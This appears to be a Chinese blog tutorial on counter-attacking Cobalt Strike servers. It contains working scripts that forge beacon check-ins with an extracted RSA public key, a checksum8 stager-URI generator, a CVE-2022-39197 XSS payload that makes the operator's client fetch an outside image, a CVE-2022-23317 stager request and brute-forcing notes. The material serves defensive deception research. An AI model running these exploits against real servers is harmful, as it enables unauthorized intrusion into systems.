cobaltstrike反制

目录

伪造流量批量上线(欺骗防御)

通过漏洞反制(CVE-2022-39197)

爆破server口令

旁路反制

CVE-2022-23317


伪造流量批量上线(欺骗防御)

思路

通过伪造上线心跳流量,发送至攻击者的c2,使攻击者的c2同时上线的大量终端:

通常有两种常见场景:

第一种是,发现攻击者对我们单位在进行精准钓鱼,那么我们可以通过这个欺骗防御,来混淆攻击者的视听,让攻击者的c2server上线大量机器,但是攻击者却执行不了任何命令。

第二种是,发现我们内部已经存在被钓鱼上线的机器,那么此时我们通过这种欺骗防御就是来拖延攻击者,使攻击者难辨真假,从而争取一些排查处置的时间。

这里造上线流量,其实就是造心跳流量,下面是我抓的cs4.0默认配置的心跳流量如下图:(上线抓包)

image-20240722105844482

image-20240722105552532

其实核心就是伪造cookie字段

这个cookie是个非对称RSA加密类型加密后的内容,在RSA加密中,公钥用于加密数据,私钥用于解密数据。所以我们只要能拿到加密使用的公钥和待加密的明文,我们就可以伪造

使用脚本仿照上线试试

# -*- encoding: utf-8 -*-
# Time : 2021/12/24 16:52:07
# Author: crow
import requests
​
url = 'http://192.168.23.128:4455/activity'
​
header = {
    'Accept':'*/*',
    'Cookie': 'EAeqOmZNpPPJ3C3oKLgpgU86ywthxbvs56ZIBDlXNh06bo0DI46NkEiE1xdjlyWRsGYMx4dKfG26T9oxzraFcw0RD1eBltFSNGsk/tb2ISViA1SjwXAi+tQkapRGJ0sgBAP8bkaO2a1GVn0emcy+L+wCZ59bdVsg25yyQ9zBKXM=',
    'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; MAAU; NP08)',
    'Host': '192.168.23.128:4455',
    'Connection': 'Keep-Alive',
    'Cache-Control': 'no-cache'
        }
​
res = requests.get(url,headers= header)
# print(res.url)
print('-'*20)
print(res.text) # 无返回
print('-'*20)
print(res.headers) # {'Date': 'Fri, 24 Dec 2021 09:04:53 GMT', 'Content-Type': 'application/octet-stream', 'Content-Length': '0'}
# print('-'*20)
# print(res.status_code)

退出我们之前上线的,运行脚本可以再次上线,但是不能重复上线

image-20240722110501597

那么想要多次上线伪造上线流量,那么关键就是伪造cookie上线

分析cookie 本地cs测试查看cookie的生成过程

需要先在本地找到私钥对cookie进行解密,看cookie的组成

先是生成私钥和公钥

java -cp "cobaltstrike.jar" DumpKeys.java

DumpKeys.java脚本地址:https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/

要求这三个文件在同一个目录下

image-20240722150605172

运行脚本

image-20240722150034678

抓包获得cookie进行rsa解密

解密网站:https://the-x.cn/cryptography/Rsa.aspx

image-20240815112031770

分析出cookie加密前的组成

image-20240722151219484

图片来自奇安信攻防社区-反制Cobaltstrike的那些手段

现在就可以伪造cookie了

主要思路就是

攻击者利用CS Server生成新的Beacon监听(包括一对非对称公私钥)并生成Stager;
攻击者投递Stager到受控主机;
受控主机在Exploit阶段执行小巧的Stager;
受控主机根据Stager UrI请求特征向Beacon Staging Server下载体积较大更复杂的Stage到本地,Beacon Staging Server会校验UrI的合法性;
Stage解密并解析Beacon配置信息(比如公钥PublicKey、C2 Server信息);
Stage通过公钥PublicKey加密主机的元数据并发送至C2 Server;
C2 Server用私钥解密数据获取主机元数据。
从上述流程中,我们能Get到2个核心点:
- Stager Uri校验算法
- Beacon配置的解密算法

上线的时候先投递一个小巧的Stager Payload,然后通过Stager 去Beacon Staging Server的某个URI下载完整的Stage(也就是体积更大功能更复杂的Payload),并将其注入内存。这个URI作为特征也可以用来识别CS服务器,做网络测绘。CS中Stager URI校验算法,就是生成4位的随机校验码,将校验码拼接到URI后面即可请求到Stage的代码。

image-20240722130508260

在这里面提到生成4位的随机校验码,使用的算法是Stager URI校验算法checksum8当前的checksum8算法执行方法:

image-20240722143201706

a-z、A-Z、0-9字母中,随机使用选择四个字符,在这四个字符计算ASCII码的值后求和取模,如果结果等于92的为32位的,等于9364位的,代码如下:

# -*- encoding: utf-8 -*-
# Time : 2021/12/28 16:15:11
# copy Author: crow
# 脚本内容参考:https://mp.weixin.qq.com/s/BLM8tM88x9oT4CjSiupE2A
# https://www.freebuf.com/articles/network/258138.html
import requests
import random,time
​
def generate_checksum(input):
    trial = ''
    total = 0
    while total != input:
        total = 0
        trial = ''.join(random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
                        for i in range(4))
        # print(trial)
        for i in range(4):
            # tmp = trial[i:i+1]
            # print('total的值', total)
            # print('tmp的值:',tmp)
            # print('ord的值:',ord(tmp))
            # print('除后的值:', ord(tmp) % 256)
            # time.sleep(2)
            total = (total + ord(trial[i:i+1])) % 256
            # print(total)
    print('64位的stage:',trial)
    return total
    # print(total)
​
for j in range(0,6):
    # generate_checksum(92) # 32位
    generate_checksum(93) # 64位

执行上面的代码checksum8.py脚本生成随机数

image-20240722112434719

然后随机数拼接ip端口获得一个文件,打开是乱码,

image-20240722112823950

下载之后对其进行解密 在这里直接使用别的师傅写好的脚本https://github.com/Sentinel-One/CobaltStrikeParser中的代码进行解密,使用方法:在下载下来之后,先使用 pip3 install -r requirements.txt 在这里将需要安装的包都安装好

然后对刚刚下载的文件进行解密,运行下面的命令

python parse_beacon_config.py lqO1 --json > 722.json

可以看到Publickey

image-20240722114447095

接下来就可以模拟上线了

当然这个PublicKey中要删除无效Padding,删除之后的正确公钥:

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCY+codW12RRYA54Oyy1UINL11bWidphj3KZfN5uOr+atttTyhHoIVmBJI0qBOUuhFgw+wha2/kAEWpDeVnWzF0Sg50zzHbuZzPhVQKK5m/WS4AEy/er+q1e8yGNKVWtrbm+vEDt0LNbAtC/gfHwX2rXbKUOflcj9C6edy2rZ+0zQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==

修改之后

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCY+codW12RRYA54Oyy1UINL11bWidphj3KZfN5uOr+atttTyhHoIVmBJI0qBOUuhFgw+wha2/kAEWpDeVnWzF0Sg50zzHbuZzPhVQKK5m/WS4AEy/er+q1e8yGNKVWtrbm+vEDt0LNbAtC/gfHwX2rXbKUOflcj9C6edy2rZ+0zQIDAQAB==

上线的话,其实有很多师傅已经写好了脚本,在这里直接下载运行即可:https://github.com/LiAoRJ/CS_fakesubmit

使用方法:直接在下载的工具文件里Public_key.txt中写入你的公钥就行,注意在写的时候,要使用上面的那个==结尾的。然后运行脚本:在这里需要输入的C2 ServerURL地址,在前面的那个流量里面可以看到

运行工具脚本

image-20240722124631926

成功实现反制cs上线

image-20240722124944661

cs反制

通过漏洞反制(CVE-2022-39197)

xss

其实就是对user的值进行了伪造,使cs的aggressor端对其进行了渲染从而导致其在对应字段加载了一张图片。

这里我们还是使用上述的项目,伪造发送元数据(伪造心跳流量),稍微做下改变即可将上面“用户名”字段内容,替换成如下的payload,并且我们还要把其他的字段内容缩短:

<html><img src=http://192.168.23.129:8081/Ga0weI.jpg>

如下是对这位师傅的代码GitHub - minhangxiaohui/cobaltstrikefakeup: 伪造cs上线流量,实现cs批量上线,欺骗防御 简单修改:可用看到我们缩短了主机名字段和进程名字段来为用户名字段节省空间

image-20240722163830318

然后运行

python  cobaltstrikefakeup.py  -T 5 -U http://192.168.23.128:4455/activity -P MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCY+codW12RRYA54Oyy1UINL11bWidphj3KZfN5uOr+atttTyhHoIVmBJI0qBOUuhFgw+wha2/kAEWpDeVnWzF0Sg50zzHbuZzPhVQKK5m/WS4AEy/er+q1e8yGNKVWtrbm+vEDt0LNbAtC/gfHwX2rXbKUOflcj9C6edy2rZ+0zQIDAQAB

本地开个服务看一下访问

image-20240722163726795

上线结果,可以看到成功了

image-20240722163613489

cs反制xss

爆破server口令

这种方式是当我们返现一个vps运行了cs server的时候,我们通过口令字典对server端实现爆破,从而登录server,获取攻击者的相关信息

局限性比较大:

1、攻防中基本没人会直接使用自己服务器做c2,都是各种骚操作来隐藏c2,如:域前置技术、云函数转发等等,所以我们很难找到真实的c2。

2、攻防中,通常是由攻的那一方使用cs,本身都是渗透攻击方面的人,出现弱口令的几率小。

3、如果是攻防场景下,团队使用的CS ,可能登录协议是魔改过的,我们写的爆破脚本,只能爆破原版的cs。

4、貌似是cobaltstrike3.6左右之后,cs对这种爆破做了一定的防御措施,上了一个同步锁,调用sleep函数,睡眠0-1秒。所以我们爆破只能迁就其最大值,1秒钟只能爆一个值

旁路反制

好比渗透测试或者是红队打项目的时候,如果目标找不到利用点进去,就可以从旁站看看对吧,所以这种旁路反制亦是这样,我们发现一个c2上运行着cobaltstrike server了,然后上述的其他反制手段都行不通,这时我们就可以看看,这个c2上是不是还有其他的服务,我们对其端口进行扫描,获取相关信息,从其他服务的缺陷来实现反制

CVE-2022-23317

CobaltStrike <=4.5

CobaltStrike的HTTP(S)监听器对请求URL未进行”/“开头验证,攻击者可通过指定URL获取相关信息。

有效负载(将包目录前的/去掉)

GET stager HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0

可以看到初始的站点基本上都是固定的

image-20240723111018627

bp抓包直接去掉/就OK

image-20240723111207540

image-20240723111128369

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值